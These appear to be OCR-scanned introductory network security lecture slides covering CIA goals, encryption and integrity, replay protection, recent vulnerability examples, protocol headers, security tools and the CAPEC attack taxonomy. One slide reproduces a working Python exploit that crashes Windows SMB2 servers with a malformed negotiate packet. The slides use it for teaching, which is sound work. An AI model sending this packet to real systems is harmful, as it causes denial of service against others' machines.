An introduction to Network Security



Reading material:

 CAPEC – Visit Mitre's web page with different categories of attacks and classification of attacks:

https://capec.mitre.org/data/index.html

What is security?

Confidentiality

- Protection against eavesdropping (ability to keep secrets)

Integrity

- Protection against unauthorized packet/data modification, removal, forgery, ...


Availability

- System is able to serve its authorized users



Question:

If we want to secure communication between two systems, encryption is an important tool:




How important is it?

- **2**0%
- **40%**
- **G** 60%
- □ 80%

Eavesdropping on a Dialog


How can this problem be solved?



Eavesdropper Eve intercepts and reads messages


Encryption for confidentiality

What can possibly go wrong now?



Encryption ≠ integrity protection

Solution to this problem?




Attacker intercepts and alters encrypted messages Content may be unknown but it has changed!

Encryption

Fingerprints (keyed hashes) for integrity protection

Are all problems solved now?




Encryption Fingerprints

First naïve approach: H() = decimals_10_to_20(log(message | | S))

Authenticates sender and verifies message integrity


Faked messages cannot be created. Note that encryption is not needed!

Packets can still be replayed, reordered and deleted



Encryption Fingerprints

Replay, reorder and delete – Protection




Encryption
Fingerprints
Seq. numbers

NOTE: We cannot rely on TCP sequence numbers – TCP offers no security at all

Packets from old sessions can still be replayed

Solution?






Problems:

- 1. Alice does not know if it is Bob she is talking to she just knows that messages are signed by Bob
- 2. Old messages can be inserted in any ongoing session with Bob (introduce time stamps? Or nonces?)
- 3. Bob does not know if he is talking to Alice and if she is receiving messages (again, we cannot rely on TCP)

Encryption
Fingerprints
Seq. numbers

Bob needs to be authenticated

Next lecture will cover User Authentication over Insecure Networks



Encryption
Fingerprints
Seq. numbers
Authentication

Old messages can still be inserted! We need freshness guarantees and authentication for all data, not just in the beginning of a session


We will continue with this problem later on...



- We need a session concept
 - Should guarantee freshness and prevent insertion of old messages the complete session must be secured
 - This will be discussed in the Secure Protocol lectures (TLS, SSH, IPSec lectures)
- Using the password to encrypt messages is bad
 - If it is revealed, all communication, old and new can be decrypted
 - Keys should be changed regularly in a session but how?
 - Also covered by the Secure Protocol lectures (TLS, SSH, IPSec lectures)
- If A and B have never met, they don't have keys to share
 - How should they authenticate each other?
 - Session crypto keys should be unique and never be reused
 - How can A and B exchange or agree on crypto keys when Eve is there?
 - This is discussed in the Crypto lecture and solutions can be found in most protocols discussed
- There are many more challenges we will discover and investigate during the course

Conclusion: Encryption is just one of many tools

If we want to secure communication between two systems, encryption is an important tool:




How important is it?

- **20%**
- **40%**
- **G** 60%
- □ 80%

Examples of communication issues


BLEEPINGCOMPUTER

Ski Lift in Austria Left Control Panel Open on the Internet



Officials from the city of Innsbruck in Austria have shut down a local ski lift after two security researchers found its control panel open wide on the Internet, and allowing anyone to take control of the ski lift's operational settings.

The two researchers are Tim Philipp Schäfers and Sebastian Neef, both with InternetWache.org, an IT security-focused organization.




Remote controllers rely on proprietary RF protocols, which are decades old and are primarily focusing on safety, not security.

https://www.youtube.com/watch?app=desktop&v=k8F7glmbCNg

https://www.forbes.com/sites/thomasbrewster/2019/01/15/exclusive-watch-hackers-take-control-of-giant-construction-cranes/

Linux SMB vulnerability





- SMB is the protocol used for Windows file sharing
- Bug found July 26, 2022 details published December 22 by researchers
- Allows remote execution of arbitrary code inside the operating system
- No authentication required
- Failed to verify an objects existence before performing operations on it

SSH server vulnerability (sshd)

₩CVE-2023-25136 Analysis Description

OpenSSH server (sshd) 9.1 introduced a double-free vulnerability during options.kex_algorithms handling. This is fixed in OpenSSH 9.2. The double free can be triggered by an unauthenticated attacker in the default configuration. One third-party report states "remote code execution is theoretically possible."



Exploit code is often available on the Internet

Windows SMB bsod vulnerability

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionality. It is the first SMB query a client sends to an SMB server (file server), and it's used to identify the SMB dialect that will be used for further communication.


```
1 #!/usr/bin/python
2 # When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
 3 it dies with a
 4 # PAGE FAULT IN NONPAGED AREA
 6 from socket import socket
7 from time import sleep
9 host = "IP_ADDR", 445
10 buff = (
11 "\x00\x00\x00\x90" # Begin SMB header: Session message
12 "\xff\x53\x4d\x42" # Server Component: SMB
13 "\x72\x00\x00\x00" # Negociate Protocol
14 "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
1: "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
  17 "\x00\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
18 "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
20 "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
21 "\x30\x30\x32\x00"
22)
23 s = socket()
24 s.connect(host)
25 s.send(buff)
26 s.close()
```

seclists.org

How is it done? What makes it possible?

NASA Study on Flight Software Complexity

"Commissioned by the NASA Office of Chief Engineer, Technical Excellence Program, May 2009"



CONCLUSION:

Even for rigorously tested code, 2 errors per 1,000 lines of code remain

Security by Obscurity

"If I take a letter, lock it in a safe, hide the safe somewhere in New York, then tell you to read the letter, that's not security. That's obscurity.

On the other hand, if I take a letter and lock it in a safe, and then give you the safe along with the design specifications of the safe and a hundred identical safes with their combinations so that you and the worlds best safecrackers can study the locking mechanism – and you still can't open the safe and read the letter – that's security."

Bruce Schneier: Applied Cryptography




Security by obscurity is not necessarily bad:

Multi-layer security is good, just don't trust obscurity for security

All **protocols** and **algorithms** we use must be strong enough to survive even if published

There are many protocols to secure...



Unexpected:

- message content
- header problem
- message sequence
- timing
- faked content
-

Protocols are complex

TCP

Source port

Sequence number

Acknowledgment number (if ACK set)

Data offset Reserved N W C R C S S Y I WINDOW Size

Checksum

Checksum

Options (if data offset > 5. Padded at the end with "0" bits if necessary.)

IP

Version	IHL	DSCP	ECN	Total Length	
	Identifica	ation		Flags	Fragment Offset
Time To Live Protocol			Header Checksum		
			Source IP	Address	
			Destination	IP Address	
			Options (i	f IHL > 5)	

Link level

Layer	Preamble	Start frame delimiter	MAC destination	MAC source	802.1Q tag (optional)	Ethertype (Ethernet II) or length (IEEE 802.3)	Payload	Frame check sequence (32-bit CRC)	Interpacket gap
	7 octets	1 octet	6 octets	6 octets	(4 octets)	2 octets	46-1500 octets	4 octets	12 octets
Layer 2 Ethernet frame			← 64–1522 octets →						
Layer 1 Ethernet packet & IPG	← 72–1530 octets →					← 12 octets →			

Assumption is the mother of all mistakes

- I know how to solve this; I don't need help...
- This design is secure enough!
- We can add security at the end of the project
- That will never happen, trust me...
- Defensive programming is not needed. "Number" will never be negative:

```
if (number > 10)
    price = number*cost*0.9; // 10% discount
else
    price = number*cost; // If number is negative, price becomes negative!
```

So maybe another bug can be exploited to make it negative? It would be good to catch that problem here:

```
if (number > 10)
    price = number*cost*0.9;
if (number > 0)
    price = number*cost;
else
    internal_error("Number of items < 0");</pre>
```







Nmap Security Scanner

- Ref Guide
- Install Guide
- Download • Changelog
- Book
- Docs

Npcap packet capture library

- User's Guide
- API docs Download
- Changelog

Security Lists

- Nmap Announce
- Nmap Dev • Bugtraq
- Full Disclosure
- Pen Test
- Basics
- More

Security Tools

- · Password audit
- Sniffers
- Vuln scanners
- · Web scanners Wireless
- Exploitation
- · Packet crafters
- More

Site News Advertising About/Contact

ρ

SecTools.Org: Top 125 Network Security Tools

Home About/Help Suggest a new tool

For more than a decade, the Nmap Project has been cataloguing the network security community's favorite tools. In 2011 this site became much more dynamic, offering ratings, reviews, searching, sorting, and a new tool suggestion form. This site allows open source and commercial tools on any platform, except those tools that we maintain (such as the Nmap Security Scanner, Neat network connector, and Nping packet manipulator).

We're very impressed by the collective smarts of the security community and we highly recommend reading the whole list and investigating any tools you are unfamiliar with. Click any tool name for more details on that particular application. including the chance to read (and write) reviews. Many site elements are explained by tool tips if you hover your mouse over them. Enjoy!

Tools 1-25 of 125 next page → popularity rating release date

Wireshark (#1, +1)

Wireshark (known as Ethereal until a trademark dispute in Summer 2006) is a fantastic open source multiplatform network protocol analyzer. It allows you to examine data from a live network or from a capture file on disk. You can interactively browse the capture data, delving down into just the level of packet detail you need. Wireshark has several powerful features, including a rich display filter language and the ability to view the reconstructed stream of a TCP session. It also supports hundreds of protocols and media types. A tepdump-like console version named tshark is included. One word of caution is that Wireshark has suffered from dozens of remotely exploitable security holes, so stay up-to-date and be wary of running it on untrusted or hostile networks (such as security conferences). Read 31 reviews.



**** (20)

Search



Latest release: version 1.12.7 on Aug. 12, 2015 (6 years, 6 months ago).

















Metasploit (#2, +3)



Metasploit took the security world by storm when it was released in 2004. It is an advanced open-source platform for developing, testing, and using exploit code. The extensible model through which payloads, encoders, no-opgenerators, and exploits can be integrated has made it possible to use the Metasploit Framework as an outlet for cutting-edge exploitation research. It ships with hundreds of exploits, as you can see in their list of modules. This makes writing your own exploits easier, and it certainly beats scouring the darkest corners of the Internet for illicit shellcode of dubious quality. One free extra is Metasploitable, an intentionally insecure Linux virtual machine you can use for testing Metasploit and other exploitation tools without hitting live servers.

Snort (#5, **♣**2) **** (2)

This network intrusion detection and prevention system excels at traffic analysis and packet logging on IP networks. Through protocol analysis, content searching, and various pre-processors, Snort detects thousands of worms, vulnerability exploit attempts, port scans, and other suspicious behavior. Snort uses a flexible rule-based language to describe traffic that it should collect or pass, and a modular detection engine. Also check out the free Basic Analysis and Security Engine (BASE), a web interface for analyzing Snort alerts.



While Snort itself is free and open source, parent company SourceFire offers their VRT-certified rules for \$499 per sensor per year and a complementary product line of software and appliances with more enterprise-level features. Sourcefire also offers a free 30-day delayed feed. Read 2 reviews.















Nessus (#3, +2)



Useful security tools

CAPEC Common Attack Pattern Enumeration and Classification A Community Resource for Identifying and Understanding Attacks

About

CAPEC? Start Here!

Home > CAPEC List > CAPEC-1000: Mechanisms of Attack (Version 3.9)

ID Lookup:

Home

CAPEC List

Community

News

Search

1000 - Mechanisms of Attack

- —
 C Engage in Deceptive Interactions (156)
- —

 C Abuse Existing Functionality (210)
- —

 Manipulate Data Structures (255)
- C Manipulate System Resources (262)
- —
 C Inject Unexpected Items (152)
- -□C Employ Probabilistic Techniques (223)
- —

 Manipulate Timing and State (172)
- —
 C Collect and Analyze Information (118)
- —□C Subvert Access Control (225)

Nature	Type	ID	Name
MemberOf	₩	1000	Mechanisms of Attack
HasMember	M	113	Interface Manipulation
HasMember	M	125	Flooding
HasMember	M	130	Excessive Allocation
HasMember	M	131	Resource Leak Exposure
HasMember	M	212	<u>Functionality Misuse</u>
HasMember	M	216	Communication Channel Manipulation
HasMember	M	227	Sustained Client Engagement
HasMember	M	272	Protocol Manipulation
HasMember	M	554	<u>Functionality Bypass</u>

Type	ID	Name
S	482	TCP Flood
S	486	UDP Flood
S	487	ICMP Flood
S	488	HTTP Flood
S	489	SSL Flood
S	490	<u>Amplification</u>
S	528	XML Flood
S	666	BlueSmacking

Homework

